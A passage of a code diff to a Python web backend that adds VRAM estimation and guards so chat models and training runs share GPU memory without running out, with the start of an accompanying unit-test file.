+        info = model_info(repo, token = hf_token, files_metadata = True)
+        total = 0
+        for sibling in info.siblings or []:
+            base = Path(sibling.rfilename or "").name.lower()
+            if not base.endswith(".gguf"):
+                continue
+            if base.startswith("mtp-") or (include_mmproj and "mmproj" in base):
+                total += getattr(sibling, "size", 0) or 0
+        return total
+    except Exception as e:
+        logger.warning(f"Could not size GGUF companions for {repo}: {e}")
+        return 0
+
+
+def _estimate_gguf_kv_gb(
+    gguf_path: str,
+    max_seq_length: int,
+    llama_extra_args: Optional[list[str]] = None,
+    n_parallel: int = 1,
+) -> float:
+    """KV-cache VRAM (GB) at the larger of max_seq_length and any `--ctx-size`/`-c`
+    override, over n_parallel slots, with the default f16 cache so the estimate is
+    never below what the server allocates. 0 if metadata is unreadable."""
+    try:
+        from core.inference.llama_server_args import parse_ctx_override
+
+        probe = LlamaCppBackend()
+        probe._read_gguf_metadata(gguf_path)
+        if not probe._can_estimate_kv():
+            return 0.0
+        try:
+            ctx_override = parse_ctx_override(llama_extra_args) or 0
+        except Exception:
+            ctx_override = 0  # malformed extras are rejected upstream; fall back
+        ctx = max(max_seq_length or 0, ctx_override) or (probe._context_length or 0)
+        if ctx <= 0:
+            return 0.0
+        kv = probe._estimate_kv_cache_bytes(ctx, n_parallel = max(1, n_parallel or 1))
+        return kv / (1024**3)
+    except Exception as e:
+        logger.warning(f"Could not size GGUF KV cache for training guard: {e}")
+        return 0.0
+
+
+def _estimate_gguf_required_gb(
+    config: ModelConfig,
+    hf_token: Optional[str] = None,
+    max_seq_length: int = 0,
+    llama_extra_args: Optional[list[str]] = None,
+    n_parallel: int = 1,
+) -> Optional[float]:
+    """Approximate GGUF VRAM (GB): quantized weights + companions, plus the KV
+    cache for local files (unreadable pre-download for remote). None when nothing
+    resolves so the caller default-denies."""
+    try:
+        total_bytes = 0
+        main = getattr(config, "gguf_file", None)
+        if main and Path(main).is_file():
+            total_bytes += LlamaCppBackend._get_gguf_size_bytes(str(main))
+        for attr in ("gguf_mmproj_file", "gguf_mtp_file"):
+            f = getattr(config, attr, None)
+            if f and Path(f).is_file():
+                total_bytes += Path(f).stat().st_size
+        if total_bytes > 0:
+            return total_bytes / (1024**3) + _estimate_gguf_kv_gb(
+                main, max_seq_length, llama_extra_args, n_parallel
+            )
+
+        repo = getattr(config, "gguf_hf_repo", None)
+        variant = getattr(config, "gguf_variant", None)
+        if repo and variant:
+            from utils.models.model_config import list_gguf_variants
+
+            variants, has_vision = list_gguf_variants(repo, hf_token = hf_token)
+            main_bytes = next(
+                (v.size_bytes for v in variants if v.quant.lower() == variant.lower()), None
+            )
+            if main_bytes is None:
+                return None
+            companions = _remote_gguf_companion_bytes(
+                repo, hf_token = hf_token, include_mmproj = bool(has_vision)
+            )
+            return (main_bytes + companions) / (1024**3)
+        return None
+    except Exception as e:
+        logger.warning(f"Could not size GGUF model for training guard: {e}")
+        return None
+
+
+def _guard_chat_load_against_training(
+    config: ModelConfig,
+    *,
+    model_identifier: str,
+    hf_token: Optional[str],
+    load_in_4bit: bool,
+    max_seq_length: int,
+    requested_gpu_ids: Optional[List[int]],
+    llama_extra_args: Optional[list[str]] = None,
+    n_parallel: int = 1,
+) -> None:
+    """Refuse loading a local chat model that would OOM an active training run.
+    No-op when training is inactive or unknown. `load_in_4bit` must be the
+    effective quantization (see _effective_load_in_4bit). Raises HTTP 409 when the
+    model would not fit alongside training."""
+    from core.training import get_training_backend
+    from routes.training_vram import can_load_chat_during_training
+
+    try:
+        if not get_training_backend().is_training_active():
+            return
+    except Exception as e:
+        logger.warning("Could not check training state for chat-load guard: %s", e)
+        return
+
+    is_gguf = bool(getattr(config, "is_gguf", False))
+    required_override_gb = (
+        _estimate_gguf_required_gb(
+            config,
+            hf_token = hf_token,
+            max_seq_length = max_seq_length,
+            llama_extra_args = llama_extra_args,
+            n_parallel = n_parallel,
+        )
+        if is_gguf
+        else None
+    )
+
+    ok, info = can_load_chat_during_training(
+        model_name = model_identifier,
+        hf_token = hf_token,
+        load_in_4bit = load_in_4bit,
+        max_seq_length = max_seq_length,
+        requested_gpu_ids = requested_gpu_ids,
+        is_gguf = is_gguf,
+        required_override_gb = required_override_gb,
+    )
+    if ok:
+        return
+
+    usable = info.get("usable_gb")
+    needed = info.get("needed_gb")
+    if needed is None:
+        needed = info.get("required_gb")
+    if needed is not None and usable is not None:
+        detail = (
+            f"Not enough free GPU memory to load this model while training is "
+            f"running (needs ~{needed:.0f} GB including safety headroom, "
+            f"~{usable:.0f} GB free). Training was left untouched. Use an external "
+            f"provider, a smaller or more quantized model, or try again after "
+            f"training finishes."
+        )
+    else:
+        detail = (
+            "Can't load this model while training is running: its GPU memory use "
+            "could not be verified, so the load was refused to protect the "
+            "training run. Use an external provider or try again after training "
+            "finishes."
+        )
+    logger.info("Refusing chat-model load during training: %s", info)
+    raise HTTPException(status_code = 409, detail = detail)
+
+
 def _model_json_response(model, status_code: int = 200) -> Response:
     """Serialize a pydantic response once via pydantic-core.
 
@@ -2118,14 +2315,37 @@ async def load_model(
         # Normalize gpu_ids: empty list means auto-selection, same as None
         effective_gpu_ids = request.gpu_ids if request.gpu_ids else None
 
+        # Reject GGUF + gpu_ids first so the guard can't mask it with a VRAM 409.
+        if config.is_gguf and effective_gpu_ids is not None:
+            raise HTTPException(
+                status_code = 400,
+                detail = "gpu_ids is not supported for GGUF models yet.",
+            )
+
+        # Effective quantization (LoRA can flip 4-bit -> 16-bit); guard + load reuse it.
+        effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit)
+        if effective_load_in_4bit != request.load_in_4bit:
+            logger.info(
+                f"Resolved load_in_4bit={effective_load_in_4bit} for '{model_log_label}' "
+                f"from adapter_config.json / base model (requested {request.load_in_4bit})"
+            )
+
+        # Refuse a load that would OOM active training, before the unload step below
+        # frees the resident model. Off-loop: guard does sync nvidia-smi / HF work.
+        await asyncio.to_thread(
+            _guard_chat_load_against_training,
+            config,
+            model_identifier = model_identifier,
+            hf_token = request.hf_token,
+            load_in_4bit = effective_load_in_4bit,
+            max_seq_length = request.max_seq_length,
+            requested_gpu_ids = effective_gpu_ids,
+            llama_extra_args = extra_llama_args,
+            n_parallel = getattr(fastapi_request.app.state, "llama_parallel_slots", 1),
+        )
+
         # ── GGUF path: load via llama-server ──────────────────────
         if config.is_gguf:
-            if effective_gpu_ids is not None:
-                raise HTTPException(
-                    status_code = 400,
-                    detail = "gpu_ids is not supported for GGUF models yet.",
-                )
-
             llama_backend = get_llama_cpp_backend()
             unsloth_backend = get_inference_backend()
 
@@ -2365,51 +2585,8 @@ async def load_model(
         except Exception as e:
             logger.warning("Could not shut down export subprocess: %s", e)
 
-        # Auto-detect quantization for LoRA adapters from adapter_config.json.
-        # The training pipeline writes "unsloth_training_method" ('qlora' or
-        # 'lora'); only LoRA (16-bit) needs load_in_4bit=False.
-        load_in_4bit = request.load_in_4bit
-        if config.is_lora and config.path:
-            import json
-            from pathlib import Path
-
-            adapter_cfg_path = Path(config.path) / "adapter_config.json"
-            if adapter_cfg_path.exists():
-                try:
-                    with open(adapter_cfg_path) as f:
-                        adapter_cfg = json.load(f)
-                    training_method = adapter_cfg.get("unsloth_training_method")
-                    if training_method == "lora" and load_in_4bit:
-                        logger.info(
-                            f"adapter_config.json says unsloth_training_method='lora' — "
-                            f"setting load_in_4bit=False to match 16-bit training"
-                        )
-                        load_in_4bit = False
-                    elif training_method == "qlora" and not load_in_4bit:
-                        logger.info(
-                            f"adapter_config.json says unsloth_training_method='qlora' — "
-                            f"setting load_in_4bit=True to match QLoRA training"
-                        )
-                        load_in_4bit = True
-                    elif training_method:
-                        logger.info(
-                            f"Training method: {training_method}, load_in_4bit={load_in_4bit}"
-                        )
-                    else:
-                        # No unsloth_training_method -- fall back to base model name
-                        if (
-                            config.base_model
-                            and "-bnb-4bit" not in config.base_model.lower()
-                            and load_in_4bit
-                        ):
-                            logger.info(
-                                f"No unsloth_training_method in adapter_config.json. "
-                                f"Base model '{config.base_model}' has no -bnb-4bit suffix — "
-                                f"setting load_in_4bit=False"
-                            )
-                            load_in_4bit = False
-                except Exception as e:
-                    logger.warning(f"Could not read adapter_config.json: {e}")
+        # Resolved before the guard so both size the same load.
+        load_in_4bit = effective_load_in_4bit
 
         # Load in a thread so the event loop stays free for download progress
         # polling and other requests.
@@ -2646,6 +2823,27 @@ async def validate_model(
                 detail = f"Invalid model identifier: {model_log_label}",
             )
 
+        # Refuse early (before the frontend unloads to load this) if it can't fit
+        # alongside training, using the same settings /load uses so they agree.
+        effective_gpu_ids = request.gpu_ids if request.gpu_ids else None
+        # Mirror /load: reject GGUF + gpu_ids before the guard so both return 400.
+        if config.is_gguf and effective_gpu_ids is not None:
+            raise HTTPException(
+                status_code = 400,
+                detail = "gpu_ids is not supported for GGUF models yet.",
+            )
+        effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit)
+        # Off-loop: guard does sync nvidia-smi / HF work.
+        await asyncio.to_thread(
+            _guard_chat_load_against_training,
+            config,
+            model_identifier = model_identifier,
+            hf_token = request.hf_token,
+            load_in_4bit = effective_load_in_4bit,
+            max_seq_length = request.max_seq_length,
+            requested_gpu_ids = effective_gpu_ids,
+        )
+
         # Both checks cover the [adapter, base] set (matching the scan route and workers):
         # either repo can ship auto_map code or a poisoned pickle.
         security_targets = [config.identifier]
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 5860b395d5..64b64c0e97 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -273,36 +273,74 @@ async def start_training(
                     request.model_name,
                 )
 
-        # Free GPU memory: shut down any running inference/export subprocesses
-        # before training (they'd compete for VRAM otherwise).
-        try:
-            from core.inference import get_inference_backend
-            inf_backend = get_inference_backend()
-            if inf_backend.active_model_name:
-                logger.info(
-                    "Unloading inference model '%s' to free GPU memory for training",
-                    inf_backend.active_model_name,
+        # Free VRAM for training: stop export, unload chat unless it can coexist.
+        # A before_spawn hook -> runs only after start_training's guards pass, so
+        # we never tear down chat/export VRAM for a start that is then refused.
+        def _free_vram_for_training() -> None:
+            try:
+                from core.export import get_export_backend
+                exp_backend = get_export_backend()
+                # Tear down the export subprocess whenever an export is in flight,
+                # not just once a checkpoint is loaded: during the load phase
+                # current_checkpoint is still unset while the worker is already
+                # allocating GPU memory, so gate on is_export_active() too.
+                if exp_backend.current_checkpoint or exp_backend.is_export_active():
+                    logger.info("Shutting down export subprocess to free GPU memory for training")
+                    exp_backend._shutdown_subprocess()
+                    exp_backend.current_checkpoint = None
+                    exp_backend.is_vision = False
+                    exp_backend.is_peft = False
+            except Exception as e:
+                logger.warning("Could not shut down export subprocess: %s", e)
+
+            try:
+                from routes.training_vram import (
+                    can_keep_chat_during_training,
+                    free_chat_models_for_training,
+                    summarize_resident_chat,
                 )
-                inf_backend._shutdown_subprocess()
-                inf_backend.active_model_name = None
-                inf_backend.models.clear()
-        except Exception as e:
-            logger.warning("Could not unload inference model: %s", e)
 
-        try:
-            from core.export import get_export_backend
-            exp_backend = get_export_backend()
-            if exp_backend.current_checkpoint:
-                logger.info("Shutting down export subprocess to free GPU memory for training")
-                exp_backend._shutdown_subprocess()
-                exp_backend.current_checkpoint = None
-                exp_backend.is_vision = False
-                exp_backend.is_peft = False
-        except Exception as e:
-            logger.warning("Could not shut down export subprocess: %s", e)
+                resident = summarize_resident_chat()
+                if not resident["any"]:
+                    return
+                if resident.get("loading"):
+                    # In-flight load can't be sized -> free rather than risk OOM.
+                    freed = free_chat_models_for_training(reason = "chat model still loading")
+                    logger.info("Freed in-flight chat load for training: %s", freed)
+                    return
+                keep, info = can_keep_chat_during_training(
+                    model_name = training_kwargs["model_name"],
+                    hf_token = training_kwargs["hf_token"],
+                    training_type = training_kwargs["training_type"],
+                    load_in_4bit = training_kwargs["load_in_4bit"],
+                    batch_size = training_kwargs["batch_size"],
+                    max_seq_length = training_kwargs["max_seq_length"],
+                    lora_rank = training_kwargs["lora_r"],
+                    target_modules = training_kwargs["target_modules"],
+                    gradient_checkpointing = training_kwargs["gradient_checkpointing"],
+                    optimizer = training_kwargs["optim"],
+                    gpu_ids = training_kwargs["gpu_ids"],
+                )
+                if keep:
+                    logger.info(
+                        "Keeping chat model(s) loaded during training "
+                        "(free ~%s GB, needs ~%s GB): %s",
+                        info.get("usable_gb"),
+                        info.get("required_gb"),
+                        resident,
+                    )
+                else:
+                    freed = free_chat_models_for_training(
+                        reason = "insufficient VRAM to run training alongside chat",
+                    )
+                    logger.info("Freed chat model(s) for training: %s", freed)
+            except Exception as e:
+                logger.warning("Chat/training VRAM coordination failed; proceeding: %s", e)
 
-        # start_training spawns a subprocess (non-blocking).
-        success = backend.start_training(job_id = job_id, **training_kwargs)
+        # The hook runs only once start guards pass -> VRAM freed iff training starts.
+        success = backend.start_training(
+            job_id = job_id, before_spawn = _free_vram_for_training, **training_kwargs
+        )
 
         if not success:
             progress_error = backend.trainer.training_progress.error
diff --git a/studio/backend/routes/training_vram.py b/studio/backend/routes/training_vram.py
new file mode 100644
index 0000000000..fb361d3359
--- /dev/null
+++ b/studio/backend/routes/training_vram.py
@@ -0,0 +1,342 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""VRAM coordination between chat/inference and training.
+
+Decides, from live free VRAM, whether a resident chat model can stay loaded
+during training or must be unloaded, and unloads it across all backends
+(HF/MLX orchestrator + llama.cpp GGUF server). In the route layer because the
+GGUF accessor lives in routes/inference.py; backends are imported lazily.
+"""
+
+from typing import Any, Dict, List, Optional, Tuple
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+# keep iff usable_gb >= required_gb * SAFETY_MARGIN + KEEP_FLOOR_GB. Conservative:
+# the probe sees only the chat model's current footprint, so reserve headroom for
+# estimate error + KV-cache growth (KEEP_FLOOR_GB ~= 2 GB load buffer + 2 GB chat).
+SAFETY_MARGIN = 1.15
+KEEP_FLOOR_GB = 4.0
+
+# Each extra GPU contributes less than its raw free memory (sharding overhead).
+_MULTI_GPU_OVERHEAD = 0.85
+
+
+def _free_vram_by_index(devices: List[Dict[str, Any]]) -> Dict[int, float]:
+    """Map GPU index -> free VRAM (GB) from a get_visible_gpu_utilization() device list."""
+    free_by_index: Dict[int, float] = {}
+    for device in devices:
+        total_gb = device.get("vram_total_gb")
+        used_gb = device.get("vram_used_gb")
+        if total_gb is None or used_gb is None:
+            continue
+        free_by_index[device["index"]] = max(total_gb - used_gb, 0.0)
+    return free_by_index
+
+
+def summarize_resident_chat() -> Dict[str, Any]:
+    """Report which chat models hold GPU memory (resident even while loading). Never raises."""
+    hf_name: Optional[str] = None
+    gguf_name: Optional[str] = None
+    loading: bool = False
+
+    try:
+        from core.inference import get_inference_backend
+        inf = get_inference_backend()
+        # active_model_name is set only on success; a mid-load model sits in
+        # loading_models while already holding VRAM -> both count as resident.
+        if inf.active_model_name or inf.loading_models:
+            hf_name = inf.active_model_name or next(iter(inf.loading_models), None)
+            # Any in-flight load (incl. a replacement while the old model is still
+            # active) can't be sized -> flag it so the caller frees instead of keeps.
+            if inf.loading_models:
+                loading = True
+    except Exception as e:
+        logger.warning("Could not inspect inference backend: %s", e)
+
+    try:
+        from routes.inference import get_llama_cpp_backend
+        llama = get_llama_cpp_backend()
+        # is_active (not is_loaded): a mid-start server already allocates VRAM.
+        # A confirmed CPU-only server (_gpu_offload_active is False) holds no VRAM.
+        if llama.is_active and getattr(llama, "_gpu_offload_active", None) is not False:
+            gguf_name = llama.model_identifier or "gguf"
+            if not getattr(llama, "is_loaded", False):  # still loading -> size unknown
+                loading = True
+    except Exception as e:
+        logger.warning("Could not inspect GGUF backend: %s", e)
+
+    return {
+        "hf": hf_name,
+        "gguf": gguf_name,
+        "loading": loading,
+        "any": bool(hf_name or gguf_name),
+    }
+
+
+def can_keep_chat_during_training(
+    *,
+    model_name: str,
+    hf_token: Optional[str],
+    training_type: str,
+    load_in_4bit: bool,
+    batch_size: int,
+    max_seq_length: int,
+    lora_rank: int,
+    target_modules: Optional[List[str]],
+    gradient_checkpointing: str,
+    optimizer: str,
+    gpu_ids: Optional[List[int]],
+) -> Tuple[bool, Dict[str, Any]]:
+    """Decide if a resident chat model can coexist with training given free VRAM.
+
+    Reuses training's own estimator/selector so the decision matches later
+    placement. Default-deny: anything we can't size returns False (unload).
+    """
+    try:
+        from utils.hardware import (
+            DeviceType,
+            auto_select_gpu_ids,
+            estimate_required_model_memory_gb,
+            get_device,
+            get_visible_gpu_utilization,
+            resolve_requested_gpu_ids,
+        )
+
+        if get_device() != DeviceType.CUDA:
+            return False, {"mode": "non_cuda", "reason": "non_cuda"}
+
+        # Full finetuning runs in 16-bit, so ignore the 4-bit request or we under-count.
+        effective_4bit = False if training_type == "Full Finetuning" else load_in_4bit
+        hf_token_arg = hf_token or None
+
+        est_kwargs = dict(
+            hf_token = hf_token_arg,
+            training_type = training_type,
+            load_in_4bit = effective_4bit,
+            batch_size = batch_size,
+            max_seq_length = max_seq_length,
+            lora_rank = lora_rank,
+            target_modules = target_modules,
+            gradient_checkpointing = gradient_checkpointing,
+            optimizer = optimizer,
+        )
+
+        if gpu_ids:
+            # Explicit GPUs: the selector does no VRAM math, so size it here.
+            try:
+                resolved = resolve_requested_gpu_ids(gpu_ids)
+            except ValueError:
+                # Invalid ids -> start_training will 400 first, so don't unload.
+                return True, {"mode": "explicit", "reason": "invalid_gpu_ids"}
+
+            required_gb, est_meta = estimate_required_model_memory_gb(model_name, **est_kwargs)
+            if required_gb is None:
+                return False, {"mode": "explicit", "reason": "estimate_unavailable"}
+
+            free_by_index = _free_vram_by_index(get_visible_gpu_utilization().get("devices", []))
+
+            # A requested GPU missing from the device list contributes 0.
+            free_vals = [free_by_index.get(i, 0.0) for i in resolved]
+            ranked = sorted(free_vals, reverse = True)
+            usable_gb = (
+                ranked[0] + sum(f * _MULTI_GPU_OVERHEAD for f in ranked[1:]) if ranked else 0.0
+            )
+            aggregate_fits = usable_gb >= required_gb * SAFETY_MARGIN + KEEP_FLOOR_GB
+
+            # Activations don't shard: enforce a per-GPU floor so an uneven split
+            # (e.g. free [45, 10]) can't be kept into an OOM the aggregate misses.
+            per_gpu_fits = True
+            min_free_gb = min(free_vals) if free_vals else 0.0
+            if len(resolved) > 1:
+                min_per_gpu_gb = est_meta.get("vram_breakdown", {}).get(
+                    f"min_per_gpu_{len(resolved)}"
+                )
+                if min_per_gpu_gb is not None:
+                    per_gpu_fits = min_free_gb >= min_per_gpu_gb
+
+            keep = aggregate_fits and per_gpu_fits
+            return keep, {
+                "mode": "explicit",
+                "required_gb": required_gb,
+                "usable_gb": round(usable_gb, 3),
+                "min_free_gb": round(min_free_gb, 3),
+            }
+
+        # Auto: same call start_training makes later; reuse its sizing metadata.
+        _selected, meta = auto_select_gpu_ids(model_name, **est_kwargs)
+        mode = meta.get("selection_mode")
+        required_gb = meta.get("required_gb")
+        usable_gb = meta.get("usable_gb")
+        keep = (
+            mode == "auto"
+            and required_gb is not None
+            and usable_gb is not None
+            and usable_gb >= required_gb * SAFETY_MARGIN + KEEP_FLOOR_GB
+        )
+        return keep, {
+            "mode": mode,
+            "required_gb": required_gb,
+            "usable_gb": usable_gb,
+        }
+    except Exception as e:
+        # Never let a sizing failure keep a chat model loaded into a training OOM.
+        logger.warning("Chat-coexistence probe failed; will unload: %s", e)
+        return False, {"reason": "probe_error", "error": str(e)}
+
+
+def can_load_chat_during_training(
+    *,
+    model_name: str,
+    hf_token: Optional[str],
+    load_in_4bit: bool,
+    max_seq_length: int,
+    requested_gpu_ids: Optional[List[int]],
+    is_gguf: bool = False,
+    required_override_gb: Optional[float] = None,
+) -> Tuple[bool, Dict[str, Any]]:
+    """Decide if a NEW chat model can load without OOMing active training (inverse
+    of can_keep_chat_during_training: training is already resident, so size the
+    chat model against the free VRAM that remains). Sizes/places it the same way
+    the loader will: HF auto reuses auto_select_gpu_ids; HF explicit requires an
+    even-share per-GPU floor for device_map="balanced"; GGUF sizes from
+    required_override_gb over the visible pool. `load_in_4bit` must be effective
+    (LoRA can flip 4-bit -> 16-bit). Non-CUDA allows the load; default-deny on any
+    CUDA case it can't size, so a load never OOMs training."""
+    try:
+        from utils.hardware import (
+            DeviceType,
+            auto_select_gpu_ids,
+            estimate_required_model_memory_gb,
+            get_device,
+            get_visible_gpu_utilization,
+            resolve_requested_gpu_ids,
+        )
+
+        if get_device() != DeviceType.CUDA:
+            return True, {"mode": "non_cuda", "reason": "non_cuda"}
+
+        est_kwargs = dict(
+            hf_token = hf_token or None,
+            training_type = None,  # inference sizing of the chat model itself
+            load_in_4bit = load_in_4bit,
+            max_seq_length = max_seq_length or 2048,
+        )
+
+        # HF auto: reuse the loader's selector; fits iff its pick clears the margin.
+        if not requested_gpu_ids and not is_gguf:
+            _selected, meta = auto_select_gpu_ids(model_name, **est_kwargs)
+            mode = meta.get("selection_mode")
+            required_gb = meta.get("required_gb")
+            usable_gb = meta.get("usable_gb")
+            needed_gb = (
+                round(required_gb * SAFETY_MARGIN + KEEP_FLOOR_GB, 3)
+                if required_gb is not None
+                else None
+            )
+            fits = (
+                mode == "auto"
+                and required_gb is not None
+                and usable_gb is not None
+                and usable_gb >= needed_gb
+            )
+            return fits, {
+                "mode": mode,
+                "required_gb": required_gb,
+                "usable_gb": usable_gb,
+                "needed_gb": needed_gb,
+            }
+
+        # Explicit GPUs, or GGUF: size directly and check live free VRAM.
+        required_gb = required_override_gb
+        if required_gb is None:
+            required_gb, _meta = estimate_required_model_memory_gb(model_name, **est_kwargs)
+        if required_gb is None:
+            mode = "explicit" if requested_gpu_ids else "gguf"
+            return False, {"mode": mode, "reason": "estimate_unavailable"}
+
+        free_by_index = _free_vram_by_index(get_visible_gpu_utilization().get("devices", []))
+        if requested_gpu_ids:
+            # Invalid ids -> load_model 400s first, so don't block; missing id = 0.
+            try:
+                resolved = resolve_requested_gpu_ids(requested_gpu_ids)
+            except ValueError:
+                return True, {"mode": "explicit", "reason": "invalid_gpu_ids"}
+            free_vals = [free_by_index.get(i, 0.0) for i in resolved]
+            mode = "explicit"
+        else:
+            # GGUF: llama.cpp picks the GPU(s); any visible GPU is a candidate.
+            free_vals = list(free_by_index.values())
+            mode = "gguf"
+
+        if not free_vals:
+            return False, {"mode": mode, "reason": "no_visible_gpus"}
+
+        ranked = sorted(free_vals, reverse = True)
+        usable_gb = ranked[0] + sum(f * _MULTI_GPU_OVERHEAD for f in ranked[1:])
+        needed_gb = required_gb * SAFETY_MARGIN + KEEP_FLOOR_GB
+        aggregate_fits = usable_gb >= needed_gb
+
+        # device_map="balanced" shards across GPUs: an even-share floor stops one
+        # near-full GPU hiding behind aggregate capacity. GGUF self-places, no floor.
+        min_free_gb = min(free_vals)
+        per_gpu_fits = True
+        if mode == "explicit" and len(free_vals) > 1:
+            per_gpu_fits = min_free_gb >= needed_gb / len(free_vals)
+
+        return aggregate_fits and per_gpu_fits, {
+            "mode": mode,
+            "required_gb": round(required_gb, 3),
+            "usable_gb": round(usable_gb, 3),
+            "needed_gb": round(needed_gb, 3),
+            "min_free_gb": round(min_free_gb, 3),
+        }
+    except Exception as e:
+        # Never let a sizing failure load a chat model into a training OOM.
+        logger.warning("Chat-load coexistence probe failed; will refuse: %s", e)
+        return False, {"reason": "probe_error", "error": str(e)}
+
+
+def free_chat_models_for_training(reason: str) -> List[str]:
+    """Unload every resident chat model (HF/MLX orchestrator + GGUF server) to free
+    VRAM for training. Each backend isolated. Returns labels of what was freed."""
+    freed: List[str] = []
+
+    try:
+        from core.inference import get_inference_backend
+        inf = get_inference_backend()
+        if inf.active_model_name or inf.loading_models:
+            name = inf.active_model_name or next(iter(inf.loading_models), None)
+            logger.info(
+                "Unloading inference model '%s' to free GPU memory for training (%s)",
+                name,
+                reason,
+            )
+            inf._shutdown_subprocess()
+            inf.active_model_name = None
+            inf.models.clear()
+            inf.loading_models.clear()
+            freed.append(f"hf:{name}")
+    except Exception as e:
+        logger.warning("Could not unload inference model: %s", e)
+
+    try:
+        from routes.inference import get_llama_cpp_backend
+        llama = get_llama_cpp_backend()
+        # CPU-only GGUF holds no VRAM, so killing it can't help (see summarize).
+        if llama.is_active and getattr(llama, "_gpu_offload_active", None) is not False:
+            name = llama.model_identifier or "gguf"
+            logger.info(
+                "Unloading GGUF chat model '%s' to free GPU memory for training (%s)",
+                name,
+                reason,
+            )
+            llama.unload_model()
+            freed.append(f"gguf:{name}")
+    except Exception as e:
+        logger.warning("Could not unload GGUF chat model: %s", e)
+
+    return freed
diff --git a/studio/backend/tests/test_chat_load_during_training.py b/studio/backend/tests/test_chat_load_during_training.py
new file mode 100644
index 0000000000..487c3c7ce0
--- /dev/null
+++ b/studio/backend/tests/test_chat_load_during_training.py
@@ -0,0 +1,685 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Loading a NEW chat model while training runs: can_load_chat_during_training
+(VRAM fit check), _guard_chat_load_against_training and _effective_load_in_4bit
+(409 + sizing wiring). The guard sizes the same effective load the backend will
+perform (HF auto reuses the loader's selector, HF explicit applies a per-GPU
+floor, GGUF sizes from on-disk weights, LoRA 4-bit->16-bit flips resolved first)
+and leaves non-training/external loads untouched."""
+
+import asyncio
+import importlib.util
+import sys
+import types
+import unittest
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import patch
+
+from fastapi import HTTPException
+
+from utils.hardware import DeviceType
+import utils.hardware.hardware as _hw_module
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+# Load training_vram.py standalone (avoids the heavy routes/__init__.py); its
+# lazy hardware imports still resolve against the patched utils.hardware names.
+_spec = importlib.util.spec_from_file_location(
+    "training_vram_load_test", _BACKEND_ROOT / "routes" / "training_vram.py"
+)
+tv = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(tv)
+
+
+class _GpuCacheResetMixin:
+    def tearDown(self):
+        _hw_module._physical_gpu_count = None
+        _hw_module._visible_gpu_count = None
+
+
+def _devices(*free_specs):
+    """Build a device list from (index, total, used) tuples."""
+    return [
+        {"index": i, "vram_total_gb": total, "vram_used_gb": used}
+        for (i, total, used) in free_specs
+    ]
+
+
+# ── can_load_chat_during_training: HF auto (reuses auto_select_gpu_ids) ───────
+
+
+class TestCanLoadAutoHF(_GpuCacheResetMixin, unittest.TestCase):
+    def _run(self, *, selection_mode, required, usable):
+        meta = {"selection_mode": selection_mode, "required_gb": required, "usable_gb": usable}
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch("utils.hardware.auto_select_gpu_ids", return_value = ([0], meta)) as auto_mock,
+        ):
+            ok, info = tv.can_load_chat_during_training(
+                model_name = "unsloth/Qwen3-1.7B",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = None,
+                is_gguf = False,
+            )
+        return ok, info, auto_mock
+
+    def test_fits_with_margin(self):
+        # free 60 >= 8*1.15+4 = 13.2
+        ok, info, auto_mock = self._run(selection_mode = "auto", required = 8.0, usable = 60.0)
+        self.assertTrue(ok)
+        self.assertEqual(info["mode"], "auto")
+        self.assertAlmostEqual(info["needed_gb"], 13.2, places = 3)
+        auto_mock.assert_called_once()  # mirrors the loader's own selection
+
+    def test_too_tight_refuses(self):
+        # free 10 < 8*1.15+4 = 13.2 -> refuse even though raw 10 > 8
+        ok, _, _ = self._run(selection_mode = "auto", required = 8.0, usable = 10.0)
+        self.assertFalse(ok)
+
+    def test_fallback_all_refuses(self):
+        # Selector couldn't confirm placement -> default-deny to protect training.
+        ok, info = self._run(selection_mode = "fallback_all", required = 8.0, usable = 999.0)[:2]
+        self.assertFalse(ok)
+
+
+# ── can_load_chat_during_training: HF explicit (per-GPU floor) ────────────────
+
+
+class TestCanLoadExplicitHF(_GpuCacheResetMixin, unittest.TestCase):
+    def _run(
+        self,
+        *,
+        required,
+        devices,
+        gpu_ids,
+        resolved = None,
+        resolve_side_effect = None,
+    ):
+        resolve_kwargs = (
+            {"side_effect": resolve_side_effect}
+            if resolve_side_effect
+            else {"return_value": resolved if resolved is not None else gpu_ids}
+        )
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch("utils.hardware.estimate_required_model_memory_gb", return_value = (required, {})),
+            patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": devices}),
+            patch("utils.hardware.resolve_requested_gpu_ids", **resolve_kwargs),
+            patch("utils.hardware.auto_select_gpu_ids") as auto_mock,
+        ):
+            ok, info = tv.can_load_chat_during_training(
+                model_name = "m",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = gpu_ids,
+                is_gguf = False,
+            )
+        return ok, info, auto_mock
+
+    def test_single_gpu_fits(self):
+        ok, info, auto_mock = self._run(required = 8.0, devices = _devices((0, 80, 20)), gpu_ids = [0])
+        self.assertTrue(ok)
+        self.assertEqual(info["mode"], "explicit")
+        auto_mock.assert_not_called()  # explicit never calls the auto selector
+
+    def test_per_gpu_floor_blocks_uneven_split(self):
+        # free [45, 10]; aggregate 45 + 10*0.85 = 53.5 >= needed 27, but the 10 GB
+        # GPU is below the even-share floor 27/2 = 13.5 -> refuse (would OOM it).
+        ok, info, _ = self._run(
+            required = 20.0, devices = _devices((0, 80, 35), (1, 80, 70)), gpu_ids = [0, 1]
+        )
+        self.assertFalse(ok)
+        self.assertAlmostEqual(info["min_free_gb"], 10.0, places = 3)
+
+    def test_per_gpu_floor_passes_when_even(self):
+        # free [30, 30]; both clear the 13.5 even-share floor -> allow.
+        ok, _, _ = self._run(
